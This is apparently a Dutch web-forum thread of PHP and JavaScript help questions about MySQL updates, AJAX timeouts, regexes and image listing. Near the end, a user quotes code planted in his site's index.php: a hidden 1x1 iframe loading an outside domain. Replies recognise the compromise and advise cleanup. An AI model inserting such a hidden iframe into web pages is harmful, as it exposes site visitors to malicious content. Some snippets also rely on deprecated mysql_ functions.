Je kunt ook eerst de update doen, dan controleren hoeveel rijen er aangepast zijn (met mysql_num_rows()) en op basis daarvan je IF doen.quote:Op zaterdag 6 oktober 2012 20:40 schreef Devolution het volgende:
Nee helaas niet, omdat hij in die IF ook nog wat HTML output via een echo. Dit is voor dit probleem echter niet relevant en daarom heb ik dit niet in de code staan
Of hij begreep het heel goed en was bang voor overengineering of het second-system effect. Het wordt tijd dat de pragmatiek weer breder gedragen gaat worden in het developmentwezen.quote:Op woensdag 3 oktober 2012 14:17 schreef Tijn het volgende:
[..]
Ik zat vanochtend nog bij een klant voor een nieuw project die me expliciet vroeg om het niet "te object-georiënteerd" op te zetten
Maar goed, dat komt waarschijnlijk omdat 'ie het zelf ook niet zo goed begrijpt denk ik. Ik zie eigenlijk geen reden om niet gewoon met controllers en models te werken.
Mja, de vrij strakke deadline dwingt sowieso al een bepaalde pragmatiek afquote:Op zondag 7 oktober 2012 11:08 schreef rekenwonder het volgende:
[..]
Of hij begreep het heel goed en was bang voor overengineering of het second-system effect.
Het wordt tijd dat de pragmatiek breder gedragen gaat worden in het developmentwezen.
Programming Motherfucker.com, Do you speak it? :-)
Misschien dat je daar toch een stukje van kunt posten? Je zegt dat de code zoals je die postte in een nieuw document gewoon werkt, dus wellicht ligt het toch aan de overige code.quote:Op zaterdag 6 oktober 2012 17:11 schreef Devolution het volgende:
Ik heb de rest van de code op de pagina niet genoemd omdat ik niet denk dat daar het probleem in zit.
Daarnaast is het wel een walgelijk stukje code. In die 4 regels gaan al 4 dingen mis...quote:Op zondag 7 oktober 2012 13:33 schreef Devolution het volgende:
Ik heb het eindelijk opgelost. Het had te maken met een AJAX call in de code (die werd aangeroepen via een javascriptcode die weer via een echo geplaatst werd in die IF hierboven) die de bewuste cel aanpaste nadat de update de cel leeggemaakt had. De update werkte dus wel maar daarna veranderde de AJAX call doodleuk de waarde weer in de oude
Ik ben erachter gekomen door de javascriptcode weg te halen, waardoor de pagina het perfect deed. Toen wist ik dus dat het daaraan moest liggen en heb ik de complete javascriptcode (en de resulterende AJAX-call) vervolgens regel voor regel nagelopen en kwam ik achter de fout.
Ik heb hiervoor nog nooit met AJAX calls gewerkt dus vandaar dat ik deze stomme fout gemaakt had haha Maar het werkt nu weer
1 2 3 4 5 6 7 8 | <?php $rij = mysql_fetch_array(mysql_query("SELECT movespeler1,movespeler2 FROM fightdata WHERE id = '1'")); $move = $rij['movespeler1']; if ($move != ""){ // De tegenstander heeft een move uitgevoerd mysql_query("UPDATE fightdata SET movespeler1 = '' WHERE id = '1'"); } ?> |
jij gaat voor de bullshitbingo?quote:Op maandag 8 oktober 2012 19:42 schreef Scorpie het volgende:
Of pas na drie aanslagen fetchen, deze in cache opslaan en daar verder in filteren.
Nee lekker alles in het Nederlands uitspreken, dat zet zoden aan de dijkquote:
Je strooide met termen zonder specifiek aan te geven waar dat gebeurde. Fetchen is in php-land sowieso iets vreemds als je het over user-input hebt. Het was voor mij onbegrijpelijk wat je met je post bedoelde.quote:Op maandag 8 oktober 2012 20:12 schreef Scorpie het volgende:
[..]
Nee lekker alles in het Nederlands uitspreken, dat zet zoden aan de dijk
'Na 3 aanslaguh de resultaten ophaluh en dan lokaal bijhouduh en dan daarin gaan zoekuh'.
Data fetchen is jou vreemd? De relatie met een input field kon je ook niet leggen? User-input is wel een normale term ? Dit soort termen worden dagelijks gebezigd zonder dat er iemand is die niet snapt waar het over gaat, zeker de gemiddelde devver weet precies wat dit inhoud. Daarnaast is de door mij geposte manier een beproefde methode voor een live search veld.quote:Op maandag 8 oktober 2012 20:24 schreef GlowMouse het volgende:
[..]
Je strooide met termen zonder specifiek aan te geven waar dat gebeurde. Fetchen is in php-land sowieso iets vreemds als je het over user-input hebt. Het was voor mij onbegrijpelijk wat je met je post bedoelde.
Dan nog kun je zonder foutafhandeling in de problemen komen. Bijvoorbeeld als de tabel wordt aangepast en je de code niet overal bijwerkt. Of als het id niet bestaat, of de verbinding met de database moeilijk doet. Als mysql_query (een functie die je eigenlijk niet meer moet gebruiken) geen resultaat oplevert, gaat mysql_fetch ook mis.quote:Op zondag 7 oktober 2012 18:50 schreef Devolution het volgende:
Foutcontrole op de fetch is niet nodig omdat de cellen uit de query altijd bestaan.
quote:Op maandag 8 oktober 2012 19:09 schreef cablegunmaster het volgende:
2. onchange javascript dat als een verandering op het input veld is er een javascript activeert, die de resultaten post richitng de server. Dit lijkt me alleen zwaar te zijn, (kan het mis hebben). elke aanpassing een aparte query verstuurd , geen idee in wat voor orde query's gaan maar, mij is geleerd zo min mogelijk query's te gebruiken. kan het helemaal mis hebben.
Onchange() -> functie in jquery pakt de value van het huidige input veld. Stuurt de waarde per $.post in javascript door naar functie in php. en php stuurt het door richting SQL database.
Ik doe zoiets meestal met een timeout, dus dit idee:quote:Op maandag 8 oktober 2012 19:42 schreef Scorpie het volgende:
Of pas na drie aanslagen fetchen, deze in cache opslaan en daar verder in filteren.
1 2 3 4 5 | var timeout=null; function onkeyupfunctie(){ if (timeout!=null) clearTimeout(timeout); setTimeout("functieDieAjaxVerstuurt()", 3000); } |
Je moet nooit er vanuit gaan dat iets altijd bestaat.quote:Op zondag 7 oktober 2012 18:50 schreef Devolution het volgende:
Foutcontrole op de fetch is niet nodig omdat de cellen uit de query altijd bestaan.
Het kan wel zo, maar het is niet netjesquote:Er zijn niet 2 spelernamen in 1 tabel, zie onder*.
controleer je dan wel of die string ook aan je voorwaarden voldoet?quote:Als laatste stonden er quotes omdat daar normaal een php string staat, maar voor testdoeleinden had ik daar even een 1 van gemaakt.
Maar wat als je meer acties krijgt? Dan kun je het niet opschalenquote:* Elk gevecht krijgt een eigen rij. In die rij staan onder andere de columns movespeler1 en movespeler2. Deze geven aan welke aanval elke speler heeft gekozen in datzelfde gevecht en deze worden geleegd zodra beide spelers deze aanval gezien hebben als animatie. Het is dus niet nodig om deze in aparte tabellen te zetten omdat het slechts de acties weergeeft binnen 1 gevecht.
Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?quote:Op dinsdag 9 oktober 2012 10:07 schreef mstx het volgende:
[..]
[..]
Ik doe zoiets meestal met een timeout, dus dit idee:
[ code verwijderd ]
Dan stuurt hij max. elke 3 seconden iets naar je server.
1 | <input type='text' name='field_name' value='' onchange="Update_field_table($rownumber,$value);" /> |
1 2 3 4 5 6 7 8 | function Update_field_table(rownumber,waarde) { //irrelevant hieronder. $.post{ waarde : waarde, rownumber : rownumber } } |
1 2 3 4 5 | var timeout=null; function onkeyupfunctie(){ if (timeout!=null) clearTimeout(timeout); setTimeout("functieDieAjaxVerstuurt()", 3000); } |
Ja volgens mij snap je het wel zo'n beetje.quote:Op dinsdag 9 oktober 2012 16:00 schreef cablegunmaster het volgende:
[..]
Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
[ code verwijderd ]
Daarbij gebruik ik een stukje javascript:
[ code verwijderd ]
Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change.
Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp? anders timeout leegmaken.
[ code verwijderd ]
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben )quote:Op woensdag 10 oktober 2012 22:31 schreef MrNiles het volgende:
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling
hoe krijg ik de harde return eruit?
trim lijkt niet te werken
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>quote:Op woensdag 10 oktober 2012 22:33 schreef mschol het volgende:
[..]
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben )
Dat is precies wat nl2br() doet.quote:Op woensdag 10 oktober 2012 22:37 schreef MrNiles het volgende:
[..]
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
ow..ok..ff proberen danquote:
Een carriage return is het '\r' symbool. Het 'ga naar de volgende regel' symbool is de newline '\n'.quote:Op woensdag 10 oktober 2012 22:40 schreef MrNiles het volgende:
[..]
ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <?php // Telefoonnummer controle $henk = "+3107365252"; // OK $henk = "2355929253"; // OK $henk = "+352329523" // OK $henk = "035ABC"; // FOUT $henk = "+35235a"; // FOUT if ( preg_match ( "/^\+?\d+$/", $henk ) ) { echo "OK"; } else { echo "FOUT"; } ?> |
zoiets?"quote:Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Help, wat doe ik weer eens fout Ik krijg bij huidige waarde van $henk fout terug
Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
[ code verwijderd ]
1 2 3 4 5 | if (preg_match('/^\+?\d{1,10}$|\d{1,10}$/i', $subject)) { # Successful match } else { # Match attempt failed } |
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.quote:Op woensdag 10 oktober 2012 23:21 schreef mschol het volgende:
[..]
zoiets?"
[ code verwijderd ]
zal vast niet het meest efficientst zijn (gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
voor optimalisatie moet je niet bij mij zijnquote:Op woensdag 10 oktober 2012 23:26 schreef wobbel het volgende:
[..]
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.
En volgens mij is 0-9 toch echt handiger dan 1-10
Ah, ik snap dus al niks van regexenquote:Op woensdag 10 oktober 2012 23:27 schreef mschol het volgende:
[..]
voor optimalisatie moet je niet bij mij zijn
en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet...
1-10 is vanaf 1 cijfer tot max 10 cijfers...
Is filter_var() dan geen oplossing?quote:Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
1 2 3 | <?php echo filter_var('+1234henk-5678aaa', FILTER_SANITIZE_NUMBER_FLOAT); ?> |
1 | +1234-5678 |
Mja, eerst trimmen voordat je hem door de filter haalt. Slikt ie in ieder geval spaties.quote:Op donderdag 11 oktober 2012 00:30 schreef KomtTijd... het volgende:
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var timeout=null; function update_voucher(rownumber,waarde){ var rownumber = rownumber; var waarde = waarde; if (timeout!=null) clearTimeout(timeout); setTimeout(function(){ functieVoucherVerstuurd(rownumber,waarde); }, 2000); } function functieVoucherVerstuurd(rownumber,waarde) { var value = $("."+waarde).val(); $.post("/cms/voucher/blablabla/", { id : rownumber, value : value, field : waarde, post_ajax : "true" }, function(data){ alert(waarde+" veld is geupdate met: "+value); }); } |
1 | var value = $("."+waarde).val(); |
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:quote:Op donderdag 11 oktober 2012 16:20 schreef GlowMouse het volgende:
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
1 2 3 4 5 | <?php <tr id='voucher-500' > <td><input name='datum' value='2012-01-01' onchange="update_voucher('500','datum');" /></td> <tr> ?> |
dankje voor het idee, even kijken of ik het toegepast krijg .quote:
Ben nu bezig met een php project waar alle functienamen en variabelen in het Spaans zijnquote:Op donderdag 11 oktober 2012 16:12 schreef KomtTijd... het volgende:
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct
Owja, geweldig, database id`tjes meegeven.quote:Op donderdag 11 oktober 2012 16:27 schreef cablegunmaster het volgende:
[..]
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:
[ code verwijderd ]
Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet ).
Daar vervolgens de children van die TR te pakken?
Beter idee? dit is toch voor achter de schermen gebruik.quote:Op donderdag 11 oktober 2012 16:38 schreef Scorpie het volgende:
Owja, geweldig, database id`tjes meegeven.
ALS je al id`tjes gebruikt, dan gooi ik die informatie altijd in het HTML5 attribuut data. Met jQuery kan je die vervolgens door $(selector).data('var'); uitlezen.quote:Op donderdag 11 oktober 2012 16:39 schreef cablegunmaster het volgende:
[..]
Beter idee? dit is toch voor achter de schermen gebruik.
ik had je al een prachtoplossing gegevenquote:Op donderdag 11 oktober 2012 16:32 schreef cablegunmaster het volgende:
[..]
Oplossing: op basis van de DB + veldnaam het toe te passen .
die snapte ik nietquote:Op donderdag 11 oktober 2012 16:44 schreef GlowMouse het volgende:
[..]
ik had je al een prachtoplossing gegeven
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | <?php // Original PHP code by Chirp Internet: www.chirp.com.au // Please acknowledge use of this code by including this header. $imagetypes = array("image/jpeg", "image/gif"); function getImages_after($dir) { global $imagetypes; // array to hold return value $retval = array(); // add trailing slash if missing if(substr($dir, -1) != "/") $dir .= "/"; // full server path to directory $fulldir = "{$_SERVER['DOCUMENT_ROOT']}/$dir"; $d = @dir($fulldir) or die("getImages: Failed opening directory $dir for reading"); while(false !== ($entry = $d->read())) { // skip hiddenfiles if($entry[0] == ".") continue; // check for image files $f = escapeshellarg("$fulldir$entry"); $mimetype = trim(`file -bi $f`); foreach($imagetypes as $valid_type) { if(preg_match("@^{$valid_type}@", $mimetype)) { $retval[] = array( 'file' => "/$dir$entry", 'size' => getimagesize("$fulldir$entry") ); break; } } } $d->close(); sort($retval); return $retval; } // fetch image details $images = getImages_after("images/after"); // display on page foreach($images as $img) { echo "<div class='boxed'>"; echo "<img class='photo' src='{$img['file']}' {$img['size'][3]} alt=' '> \n"; echo "<a href=\"{$img['file']}\">",basename($img['file']),"</a><br>\n"; echo "</div>"; } ?> |
bij de hoster online werkt hetquote:
yepquote:Op vrijdag 12 oktober 2012 13:59 schreef KomtTijd... het volgende:
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?
-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
Zet dit eens bovenaan je scriptquote:Op vrijdag 12 oktober 2012 14:17 schreef MrNiles het volgende:
[..]
yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
1 2 3 4 | <?php ini_set('display_errors',1); error_reporting(E_ALL); ?> |
donequote:Zet dit eens bovenaan je script
Rechtenkwestie? Of verkeerde map?quote:Op vrijdag 12 oktober 2012 14:30 schreef MrNiles het volgende:
getImages: Failed opening directory images/before/ for reading
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draaitquote:Op vrijdag 12 oktober 2012 14:21 schreef KomtTijd... het volgende:
ohja display_errors, die bitch vergeet ik ook altijd
1 | tail -f /var/log/apache2/error.log |
quote:
Maar das handig .quote:Op vrijdag 12 oktober 2012 14:33 schreef Tijn het volgende:
[..]
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait
[ code verwijderd ]
Waarschijnlijk gaat het fout op de plek waar $fulldir wordt gevuld. Er wordt ergens een pad zonder / verwacht maar een met / gegeven.quote:Op vrijdag 12 oktober 2012 14:35 schreef MrNiles het volgende:
misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images
niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?
1 2 3 | <?php echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe src="http://abromdusgolkaman.com" width="1" height="1" frameborder="0"></iframe></body></html> ?> |
echt niet?quote:Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:
Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:
Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88
Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]
Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.quote:Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:
Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:
Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88
Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]
Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Forum Opties | |
---|---|
Forumhop: | |
Hop naar: |